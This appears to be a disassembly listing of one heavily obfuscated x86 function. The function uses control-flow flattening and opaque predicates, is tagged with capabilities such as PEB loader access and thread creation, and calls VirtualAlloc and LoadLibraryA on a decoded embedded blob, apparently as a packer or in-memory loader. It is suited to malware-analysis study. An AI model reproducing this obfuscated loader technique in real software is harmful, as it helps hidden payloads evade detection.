Function at 0x401d80
Capabilities:
Access peb ldr_data
Check os version
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4b3bc
call fcn.00439c10
mov eax, dword [0x4ae2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xd3fb12b3
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x3a58e6cd
mov ebx, 0xb228a94a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb228a94a
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
nop dword [eax + eax]
cmp eax, 0x7255459
jle 0x401e70
cmp eax, 0x386e4487
jle 0x401ee0
cmp eax, 0x5a4ed423
jle 0x401fc0
cmp eax, 0x6d3a2d66
jg 0x40217a
cmp eax, 0x600e5500
jle 0x4024de
cmp eax, 0x6471e535
jg 0x402b04
cmp eax, 0x60acb5ef
jle 0x403384
cmp eax, 0x60acb5f0
je 0x403fb3
cmp eax, 0x611fe871
je 0x403fc7
cmp eax, 0x6180626a
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xd477f02b
mov edi, 0x294770c0
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x294770c0
jmp 0x405884
cmp eax, 0xc7eb413a
jle 0x401f50
cmp eax, 0xe88bc0b1
jg 0x402023
cmp eax, 0xd6ae8966
jg 0x4021ef
cmp eax, 0xd0039bd2
jle 0x402562
cmp eax, 0xd3fb12b2
jg 0x402b40
cmp eax, 0xd194fe7a
jle 0x4033a4
cmp eax, 0xd194fe7b
je 0x40401c
cmp eax, 0xd33080f0
je 0x404030
cmp eax, 0xd3b0cb01
jne 0x401de0
mov eax, 0xff03f8b5
jmp 0x401de0
cmp eax, 0x1e0b6c22
jg 0x40207a
cmp eax, 0x10bce610
jle 0x40223b
cmp eax, 0x174180f7
jle 0x4025cc
cmp eax, 0x1c65ce39
jg 0x402b9a
cmp eax, 0x1a84e71c
jle 0x4033d9
cmp eax, 0x1a84e71d
je 0x40403a
cmp eax, 0x1b16829e
je 0x404059
cmp eax, 0x1c2c64cb
jne 0x401de0
mov eax, 0x1b16829e
jmp 0x401de0
cmp eax, 0xa6e98a12
jg 0x40210d
cmp eax, 0x9565f5db
jle 0x402287
cmp eax, 0x9e42fe25
jle 0x402620
cmp eax, 0xa1868a1d
jg 0x402bd0
cmp eax, 0x9ee4f714
jle 0x4033ff
cmp eax, 0x9ee4f715
je 0x40408b
cmp eax, 0xa04e8e31
je 0x4040be
cmp eax, 0xa07b509b
jne 0x401de0
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [eax]
mov dword [ebp - 0x4b354], eax
mov eax, 0xaed4dd1f
jmp 0x401de0
cmp eax, 0x4ab37805
jle 0x4022e5
cmp eax, 0x523ad244
jle 0x402661
cmp eax, 0x5549b652
jg 0x402c06
cmp eax, 0x530eab0f
jle 0x40342e
cmp eax, 0x530eab10
je 0x40412b
cmp eax, 0x5384fb1c
je 0x40415f
cmp eax, 0x54054861
jne 0x401de0
mov eax, dword [ebp - 0x4b238]
mov eax, dword [ebp - 0x4b21c]
mov eax, 0xf1cec0c7
jmp 0x401de0
cmp eax, 0xfbc2d6a8
jle 0x402337
cmp eax, 0x2bf1e48
jle 0x4026cb
cmp eax, 0x4c6b7ab
jg 0x402c4c
cmp eax, 0x3393a34
jle 0x403478
cmp eax, 0x3393a35
je 0x4041d7
cmp eax, 0x3dce917
je 0x40421e
cmp eax, 0x4838020
jne 0x401de0
mov eax, 0xc14af26e
jmp 0x401de0
cmp eax, 0x2b921aac
jle 0x4023c0
cmp eax, 0x30f7ddb0
jle 0x40270c
cmp eax, 0x36475dfb
jg 0x402c91
cmp eax, 0x316db7b3
jle 0x403498
cmp eax, 0x316db7b4
je 0x404237
cmp eax, 0x346c3a94
je 0x404241
cmp eax, 0x35ec2874
jne 0x401de0
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b2a4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4b29c]
mov ecx, dword [ebp - 0x4b24c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x4b29c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x4b3bc], eax
mov eax, 0x15a463cb
jmp 0x401de0
cmp eax, 0xb2e124fc
jle 0x402474
cmp eax, 0xb9d538b7
jle 0x40279b
cmp eax, 0xc14af26d
jg 0x402cd6
cmp eax, 0xbd33b638
jle 0x4034e2
cmp eax, 0xbd33b639
je 0x404267
cmp eax, 0xbe61b224
je 0x404294
cmp eax, 0xc0c2c161
jne 0x401de0
mov eax, dword [ebp - 0x4b338]
mov ecx, dword [ebp - 0x4b334]
cmp ecx, dword [eax + 0x34]
mov eax, 0x1e1195f5
setne byte [ebp - 0x4b25b]
jmp 0x401de0
cmp eax, 0x72b0f996
jle 0x4027f5
cmp eax, 0x7a8d174e
jg 0x402d0c
cmp eax, 0x76c9fbcb
jle 0x403502
cmp eax, 0x76c9fbcc
je 0x4042ba
cmp eax, 0x7807aae6
je 0x4042c4
cmp eax, 0x7828b521
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x7195bef4
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd9ddff75
jmp 0x405675
cmp eax, 0xe2067a20
jle 0x40285f
cmp eax, 0xe2eb9b05
jg 0x402d42
cmp eax, 0xe2accaf0
jle 0x403546
cmp eax, 0xe2accaf1
je 0x404314
cmp eax, 0xe2c155ee
je 0x40432d
cmp eax, 0xe2e61b36
jne 0x401de0
mov eax, 0x10d7f7f8
jmp 0x401de0
cmp eax, 0xa9cbe29
jg 0x4028c9
cmp eax, 0x9755eb7
jle 0x402d85
cmp eax, 0x9f3a48a
jle 0x40358f
cmp eax, 0x9f3a48b
je 0x404350
cmp eax, 0xa12fde3
je 0x40435a
cmp eax, 0xa25736e
jne 0x401de0
mov eax, 0x611fe871
jmp 0x401de0
cmp eax, 0x916aaff4
jg 0x402926
cmp eax, 0x886aa2c7
jle 0x402db6
cmp eax, 0x8e236028
jle 0x4035af
cmp eax, 0x8e236029
je 0x404370
cmp eax, 0x903a3e8a
je 0x40437a
cmp eax, 0x907c2289
jne 0x401de0
mov eax, dword [ebp - 0x4b2b4]
mov eax, dword [ebp - 0x4b220]
mov dword [ebp - 0x4b2c8], eax
mov eax, 0x4f90cc0d
jmp 0x401de0
cmp eax, 0x3f570684
jg 0x402971
cmp eax, 0x3ad270ee
jle 0x402dff
cmp eax, 0x3ce1cc31
jle 0x4035cf
cmp eax, 0x3ce1cc32
je 0x4043b4
cmp eax, 0x3d2cb11e
je 0x4043fc
cmp eax, 0x3f47e600
jne 0x401de0
mov dword [ebp - 0x4b2e0], esi
mov eax, 0xe7c3d8a
jmp 0x401de0
cmp eax, 0xf1cec0c6
jg 0x402a0b
cmp eax, 0xee71b637
jle 0x402e3f
cmp eax, 0xf0e50b96
jle 0x4035fa
cmp eax, 0xf0e50b97
je 0x404415
cmp eax, 0xf1379601
je 0x40442e
cmp eax, 0xf1573247
jne 0x401de0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4b24c]
mov edi, 0x76c9fbcc
mov ebx, 0xc373c73e
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b2a4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc373c73e
jmp 0x401dc3
cmp eax, 0x26b7cc55
jg 0x402a58
cmp eax, 0x219b59ff
jle 0x402e7b
cmp eax, 0x221a6777
jle 0x40361a
cmp eax, 0x221a6778
je 0x404438
cmp eax, 0x221d3e6d
je 0x404442
cmp eax, 0x26b6667e
jne 0x401de0
mov eax, dword [ebp - 0x4b238]
mov edi, 0x936ee399
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b21c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x4b274]
add eax, esi
mov dword [ecx], eax
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5c3b6703
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b238]
mov eax, dword [eax]
mov dword [ebp - 0x4b380], eax
jmp 0x405683
cmp eax, 0xad6f067e
jg 0x402ab4
cmp eax, 0xaac62f4a
jle 0x402eb5
cmp eax, 0xabf1adad
jle 0x40363a
cmp eax, 0xabf1adae
je 0x404481
cmp eax, 0xac4f097d
je 0x40448b
cmp eax, 0xaca404c0
jne 0x401de0
mov eax, dword [ebp - 0x4b310]
cmp dword [ebp - 0x4b2c0], 0
mov ecx, 0xa12fde3
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4b2dc], eax
mov eax, 0x1a84e71d
cmove eax, ecx
jmp 0x401de0
cmp eax, 0x5d4640e4
jle 0x402f62
cmp eax, 0x5dcb2324
jle 0x40365a
cmp eax, 0x5dcb2325
je 0x4044d4
cmp eax, 0x5de0be35
je 0x4044f6
cmp eax, 0x5ffb07c5
jne 0x401de0
mov eax, dword [ebp - 0x4b378]
mov eax, dword [eax]
add eax, dword [ebp - 0x4b374]
mov ecx, dword [ebp - 0x4b2b4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b258]
mov eax, dword [ebp - 0x4b2b4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4b258]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b258]
mov eax, dword [eax]
mov dword [ebp - 0x4b2fc], eax
mov eax, 0x7828b521
jmp 0x401de0
cmp eax, 0xccf67bf3
jle 0x402fb6
cmp eax, 0xcde066c3
jle 0x40368e
cmp eax, 0xcde066c4
je 0x404511
cmp eax, 0xcdf2d319
je 0x40451b
cmp eax, 0xce2141dd
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x2d26876b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1d459dbd
jmp 0x405a34
cmp eax, 0x12c5de29
jle 0x402fe1
cmp eax, 0x1437f356
jle 0x4036bd
cmp eax, 0x1437f357
je 0x404545
cmp eax, 0x1483ca5e
je 0x404566
cmp eax, 0x15a463cb
jne 0x401de0
mov eax, dword [ebp - 0x4b3bc]
mov ecx, dword [ebp - 0x4b24c]
mov ecx, dword [ecx]
add eax, eax
mov word [ecx], ax
mov eax, 0x5dcb2325
jmp 0x401de0
cmp eax, 0x99e61675
jle 0x40301a
cmp eax, 0x9a11ed57
jle 0x4036f9
cmp eax, 0x9a11ed58
je 0x404576
cmp eax, 0x9b0d7066
je 0x40458d
cmp eax, 0x9cdff97d
jne 0x401de0
mov eax, 0xaac62f4b
jmp 0x401de0
cmp eax, 0x4d5cdbb2
jle 0x403054
cmp eax, 0x4f90cc0c
jle 0x403727
cmp eax, 0x4f90cc0d
je 0x4045d2
cmp eax, 0x506e3139
je 0x4045ed
cmp eax, 0x52205145
jne 0x401de0
mov eax, dword [ebp - 0x4b288]
mov edi, 0xc8d8953
mov ebx, 0xb5401c37
inc eax
mov dword [ebp - 0x4b358], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb5401c37
jmp 0x401dc3
cmp eax, 0xff03f8b4
jle 0x403094
cmp eax, 0x15ccd51
jle 0x403751
cmp eax, 0x15ccd52
je 0x4045fd
cmp eax, 0x229c4d6
je 0x404607
cmp eax, 0x253fc6a
jne 0x401de0
mov eax, 0xd33080f0
jmp 0x401de0
cmp eax, 0x2d26876a
jle 0x403117
cmp eax, 0x2f666103
jle 0x403771
cmp eax, 0x2f666104
je 0x404611
cmp eax, 0x2fcdf1ba
je 0x404628
cmp eax, 0x30f5fcfb
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xcde066c4
mov dword [ebp - 0x4b23c], esi
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x21b2a33d
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b224]
cmovge eax, ebx
mov ecx, dword [ecx + 0x34]
mov dword [ebp - 0x4b218], ecx
jmp 0x401de0
cmp eax, 0xb7135a83
jle 0x403150
cmp eax, 0xb8ecf924
jle 0x403797
cmp eax, 0xb8ecf925
je 0x40463e
cmp eax, 0xb93d4e62
je 0x404648
cmp eax, 0xb9c4c977
jne 0x401de0
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0x3dce917
setne byte [ebp - 0x4b265]
jmp 0x401de0
cmp eax, 0x6dfc2908
jle 0x403199
cmp eax, 0x7103895e
jle 0x4037e1
cmp eax, 0x7103895f
je 0x404660
cmp eax, 0x7195bef4
je 0x404687
cmp eax, 0x71fa7417
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x5384fb1c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb86838f4
jmp 0x405675
cmp eax, 0xe0cf976f
jle 0x4031c4
cmp eax, 0xe151453c
jle 0x403801
cmp eax, 0xe151453d
je 0x4046bb
cmp eax, 0xe1762e87
je 0x4046e2
cmp eax, 0xe20262e0
jne 0x401de0
mov eax, dword [ebp - 0x4b2b4]
mov dword [ebp - 0x4b374], esi
mov eax, dword [ebp - 0x4b244]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b234]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0xc]
mov dword [ebp - 0x4b378], eax
mov eax, 0x5ffb07c5
jmp 0x401de0
cmp eax, 0xc8d8952
jle 0x4031f5
cmp eax, 0xceea323
jle 0x403836
cmp eax, 0xceea324
je 0x401da1
cmp eax, 0xd915606
je 0x404709
cmp eax, 0xe7c3d8a
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x1ce0c779
mov ebx, 0xe09fa036
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe09fa036
jmp 0x401dc3
cmp eax, 0x92dff92a
jle 0x40322a
cmp eax, 0x936ee398
jle 0x403872
cmp eax, 0x936ee399
je 0x404721
cmp eax, 0x93751829
je 0x40472b
cmp eax, 0x93af41a1
jne 0x401de0
mov dword [ebp - 0x4b220], 0xc
mov eax, 0xac4f097d
jmp 0x401de0
cmp eax, 0x43cf72f8
jle 0x403267
cmp eax, 0x44b0e6e3
jle 0x403892
cmp eax, 0x44b0e6e4
je 0x404735
cmp eax, 0x44c2b424
je 0x40479f
cmp eax, 0x46d07f1a
jne 0x401de0
mov eax, dword [ebp - 0x4b230]
mov ebx, 0x9cdff97d
mov edi, 0xf9add23d
mov eax, dword [eax]
mov dword [ebp - 0x4b3a8], eax
mov eax, dword [ebp - 0x4b228]
mov ecx, dword [ebp - 0x4b254]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 8]
mov dword [ebp - 0x4b3b0], esi
mov dword [ebp - 0x4b3ac], eax
mov eax, dword [ebp - 0x4b228]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
mov dword [ebp - 0x4b3b4], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf9add23d
jmp 0x405884
cmp eax, 0xf83cd876
jle 0x4032b9
cmp eax, 0xf9add23c
jle 0x4038b8
cmp eax, 0xf9add23d
je 0x4047b7
cmp eax, 0xf9e397bc
je 0x4047d3
cmp eax, 0xfb06e3e2
jne 0x401de0
mov eax, dword [ebp - 0x4b230]
mov dword [eax], 0x40
mov eax, 0x8349fa50
jmp 0x401de0
cmp eax, 0x27caea89
jle 0x403304
cmp eax, 0x29b9946b
jle 0x403901
cmp eax, 0x29b9946c
je 0x4047ec
cmp eax, 0x2b0470d5
je 0x4047f6
cmp eax, 0x2b337d06
jne 0x401de0
mov eax, dword [ebp - 0x4b270]
mov eax, dword [0x4b03f8]
mov ebx, 0x98d2b7fe
mov edi, 0x9f3a48b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9f3a48b
jmp 0x405884
cmp eax, 0xb132501d
jle 0x40332f
cmp eax, 0xb228a949
jle 0x40392d
cmp eax, 0xb228a94a
je 0x404890
cmp eax, 0xb234c469
je 0x40489a
cmp eax, 0xb2992645
jne 0x401de0
cmp byte [ebp - 0x4b25a], 0
mov eax, 0xff03f8b5
mov ecx, 0x59477ccb
cmovne eax, ecx
jmp 0x401de0
cmp eax, 0x6915966b
jle 0x403973
cmp eax, 0x6915966c
je 0x4048cc
cmp eax, 0x69bef08f
je 0x4048ff
cmp eax, 0x6a012213
jne 0x401de0
mov eax, dword [ebp - 0x4b26c]
mov eax, 0x802f7660
jmp 0x401de0
cmp eax, 0xd477f02a
jle 0x4039a2
cmp eax, 0xd477f02b
je 0x404909
cmp eax, 0xd4d9645a
je 0x404962
cmp eax, 0xd5e1c109
jne 0x401de0
mov eax, dword [ebp - 0x4b2e8]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b27c]
mov eax, 0x44b0e6e4
jmp 0x401de0
cmp eax, 0x1ce0c778
jle 0x4039c2
cmp eax, 0x1ce0c779
je 0x40498d
cmp eax, 0x1d459dbd
je 0x4049c2
cmp eax, 0x1df9abf9
jne 0x401de0
mov eax, 0x7bfebb83
jmp 0x401de0
cmp eax, 0xa398ef70
jle 0x4039f5
cmp eax, 0xa398ef71
je 0x4049cc
cmp eax, 0xa3bb8eab
je 0x404a00
cmp eax, 0xa5cf0e87
jne 0x401de0
mov eax, 0x389ddaf3
jmp 0x401de0
cmp eax, 0x57022dda
jle 0x403a2a
cmp eax, 0x57022ddb
je 0x404a32
cmp eax, 0x59477ccb
je 0x404aa3
cmp eax, 0x59d0e1b4
jne 0x401de0
mov eax, dword [ebp - 0x4b214]
cmp dword [eax], 0
mov eax, 0xb132501e
sets byte [ebp - 0x4b262]
jmp 0x401de0
cmp eax, 0x53ae634
jle 0x403a4a
cmp eax, 0x53ae635
je 0x404abc
cmp eax, 0x6e6080e
je 0x404ad5
cmp eax, 0x706b9f5
jne 0x401de0
cmp dword [ebp - 0x4b3a0], 0
mov eax, 0x13ccd0c2
mov ecx, 0xee71b638
cmove eax, ecx
jmp 0x401de0
cmp eax, 0x372b1fb9
jle 0x403a7e
cmp eax, 0x372b1fba
je 0x404adf
cmp eax, 0x38062c04
je 0x404afe
cmp eax, 0x382c15b9
jne 0x401de0
cmp byte [ebp - 0x4b25f], 0
mov eax, 0xe2067a21
mov ecx, 0xe20262e0
cmovne eax, ecx
jmp 0x401de0
cmp eax, 0xc373c73d
jle 0x403a9e
cmp eax, 0xc373c73e
je 0x404b08
cmp eax, 0xc4bcc167
je 0x404b33
cmp eax, 0xc5c1a4a5
jne 0x401de0
mov eax, 0x753b5102
jmp 0x401de0
cmp eax, 0x7bfebb82
jle 0x403abe
cmp eax, 0x7bfebb83
je 0x404b89
cmp eax, 0x7d7bae54
je 0x404bbe
cmp eax, 0x7eda0e11
jne 0x401de0
mov eax, 0xf47bf6d3
jmp 0x401de0
cmp eax, 0xe3e48b18
jle 0x403afa
cmp eax, 0xe3e48b19
je 0x404be4
cmp eax, 0xe7800ece
jne 0x405a62
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x706b9f5
mov dword [ebp - 0x4b3a0], ecx
jmp 0x401de0
cmp eax, 0x8c7e58d
jg 0x403b28
cmp eax, 0x725545a
je 0x404bf2
cmp eax, 0x7dbef5a
jne 0x401de0
mov eax, dword [ebp - 0x4b238]
mov eax, 0x725545a
jmp 0x401de0
cmp eax, 0x8349fa4f
jg 0x403b5d
cmp eax, 0x802f7660
je 0x404c06
cmp eax, 0x80ba6b1a
jne 0x401de0
push 4
push 0x3000
push dword [ebp - 0x4b2dc]
push dword [ebp - 0x4b308]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov eax, 0x57022ddb
jmp 0x401de0
cmp eax, 0x38b92e24
jg 0x403b8b
cmp eax, 0x386e4488
je 0x404c10
cmp eax, 0x389ddaf3
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x316db7b4
mov edi, 0xa5cf0e87
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xa5cf0e87
jmp 0x405884
cmp eax, 0xe9a3e012
jg 0x403bd3
cmp eax, 0xe88bc0b2
je 0x404c43
cmp eax, 0xe9601d36
jne 0x401de0
mov eax, dword [ebp - 0x4b37c]
mov ecx, 0x5549b653
cmp dword [eax], 0
mov eax, 0xb5c2eecc
cmove eax, ecx
jmp 0x401de0
cmp eax, 0x1f23148a
jg 0x403c02
cmp eax, 0x1e0b6c23
je 0x404c65
cmp eax, 0x1e1195f5
jne 0x401de0
cmp byte [ebp - 0x4b25b], 0
mov eax, 0xe151453d
mov ecx, 0x3f570685
cmovne eax, ecx
jmp 0x401de0
cmp eax, 0xa823dfbc
jg 0x403c36
cmp eax, 0xa6e98a13
je 0x404c80
cmp eax, 0xa740cfe0
jne 0x401de0
mov eax, dword [ebp - 0x4b230]
mov edi, 0x436951a9
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4b214]
mov eax, dword [ebp - 0x4b228]
mov ecx, dword [ebp - 0x4b254]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4b214]
mov dword [ecx], eax
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xdaad17f2
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b214]
cmovge eax, edx
mov ecx, dword [ecx]
mov edx, ecx
xor edx, 0xbfffffff
and edx, ecx
mov dword [ebp - 0x4b398], edx
jmp 0x401de0
cmp eax, 0x5cf7abc9
jg 0x403c9d
cmp eax, 0x5a4ed424
je 0x404cb2
cmp eax, 0x5c3b6703
jne 0x401de0
mov eax, dword [ebp - 0x4b238]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b21c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x4b274]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b238]
mov eax, 0x26b6667e
jmp 0x401de0
cmp eax, 0xc953f550
jg 0x403cbd
cmp eax, 0xc7eb413b
je 0x404cca
cmp eax, 0xc934e942
jne 0x401de0
mov eax, 0xf348efeb
jmp 0x401de0
cmp eax, 0x1169b557
jg 0x403ce7
cmp eax, 0x10bce611
je 0x404cfc
cmp eax, 0x10d7f7f8
jne 0x401de0
mov eax, dword [ebp - 0x4b270]
mov eax, dword [eax]
mov dword [ebp - 0x4b288], eax
mov eax, 0x523ad245
jmp 0x401de0
cmp eax, 0x98a3bab6
jg 0x403d07
cmp eax, 0x9565f5dc
je 0x404d2f
cmp eax, 0x9665bc1c
jne 0x401de0
cmp dword [ebp - 0x4b3a4], 0
mov eax, 0x6da93ae5
mov ecx, 0xc14af26e
cmove eax, ecx
jmp 0x401de0
cmp eax, 0x4b83fe33
jg 0x403d3c
cmp eax, 0x4ab37806
je 0x404d62
cmp eax, 0x4b187fb1
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xac4f097d
mov edi, 0x93af41a1
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x93af41a1
jmp 0x405884
cmp eax, 0xfe0c5fa0
jg 0x403d5c
cmp eax, 0xfbc2d6a9
je 0x404d7b
cmp eax, 0xfc2324bd
jne 0x401de0
mov eax, dword [ebp - 0x4b250]
mov edx, dword [ebp - 0x4b254]
lea eax, [eax + eax*4]
mov ecx, dword [edx + eax*8 + 0x14]
add ecx, dword [ebp - 0x4b280]
push dword [edx + eax*8 + 0x10]
push ecx
push dword [ebp - 0x4b2ec]
vzeroupper
call fcn.0043ca90
add esp, 0xc
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x2bf1e49
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaac0b30a
jmp 0x405a34
cmp eax, 0x2c60fc0a
jg 0x403d97
cmp eax, 0x2b921aad
je 0x404d85
cmp eax, 0x2bfe323d
jne 0x401de0
mov eax, dword [ebp - 0x4b270]
mov ecx, dword [ebp - 0x4b358]
mov dword [eax], ecx
mov eax, 0xb93d4e62
jmp 0x401de0
cmp eax, 0xb5c2eecb
jg 0x403dc1
cmp eax, 0xb2e124fd
je 0x404db8
cmp eax, 0xb5401c37
jne 0x401de0
mov eax, dword [ebp - 0x4b288]
mov eax, dword [ebp - 0x4b288]
mov eax, dword [ebp - 0x4b288]
mov eax, dword [ebp - 0x4b288]
mov eax, dword [ebp - 0x4b288]
mov eax, 0x52205145
jmp 0x401de0
cmp eax, 0x6da93ae4
jg 0x403e01
cmp eax, 0x6d3a2d67
je 0x404deb
cmp eax, 0x6d7d5c06
jne 0x401de0
mov eax, 0x6180626a
jmp 0x401de0
cmp eax, 0xdaad17f1
jg 0x403e72
cmp eax, 0xd6ae8967
je 0x404df5
cmp eax, 0xd9ddff75
jne 0x401de0
mov eax, dword [ebp - 0x4b2fc]
mov eax, 0x7195bef4
jmp 0x401de0
cmp eax, 0xb45ba8a
jg 0x403e92
cmp eax, 0xa9cbe2a
je 0x404e17
cmp eax, 0xa9f680b
jne 0x401de0
mov dword [ebp - 0x4b2d8], 0
mov eax, 0xe0cf9770
jmp 0x401de0
cmp eax, 0x926483fd
jg 0x403eb8
cmp eax, 0x916aaff5
je 0x404e30
cmp eax, 0x91d7e8f0
jne 0x401de0
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b244]
mov eax, dword [ebp - 0x4b234]
mov eax, 0x9e42fe26
jmp 0x401de0
cmp eax, 0x4309d960
jg 0x403ed8
cmp eax, 0x3f570685
je 0x404e3a
cmp eax, 0x421602a3
jne 0x401de0
mov eax, dword [ebp - 0x4b22c]
mov ebx, 0x4bb54fd1
mov edi, 0xb564911
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0x4b2cc], ax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb564911
jmp 0x405884
cmp eax, 0xf47bf6d2
jg 0x403ef8
cmp eax, 0xf1cec0c7
je 0x404e6e
cmp eax, 0xf348efeb
jne 0x401de0
mov eax, dword [ebp - 0x4b33c]
mov ecx, dword [ebp - 0x4b240]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b26c]
mov eax, dword [ebp - 0x4b26c]
mov dword [eax], 0
mov eax, 0x8c7e58e
jmp 0x401de0
cmp eax, 0x2716a3e1
jg 0x403f42
cmp eax, 0x26b7cc56
je 0x404eca
cmp eax, 0x26cb278a
jne 0x401de0
mov eax, 0x99e61676
jmp 0x401de0
cmp eax, 0xaed4dd1e
jg 0x403f77
cmp eax, 0xad6f067f
je 0x404ee2
cmp eax, 0xae75cd5a
jne 0x401de0
push 0x4b200
push 0x45827e
lea edi, [ebp - 0x4b210]
push edi
vzeroupper
call fcn.0043ca90
add esp, 0xc
push 0x4b200
push edi
call fcn.004015a0
add esp, 8
mov eax, 0x2716a3e2
jmp 0x401de0
cmp eax, 0x600e5501
je 0x404eec
cmp eax, 0x60839e4a
jne 0x401de0
mov eax, 0x386e4488
jmp 0x401de0
cmp eax, 0xd0039bd3
je 0x404f0e
cmp eax, 0xd0c4d5e8
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0xb45ba8b
mov ebx, 0xe1762e87
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xe1762e87
jmp 0x401dbb
cmp eax, 0x174180f8
je 0x404f35
cmp eax, 0x19c0f3b6
jne 0x401de0
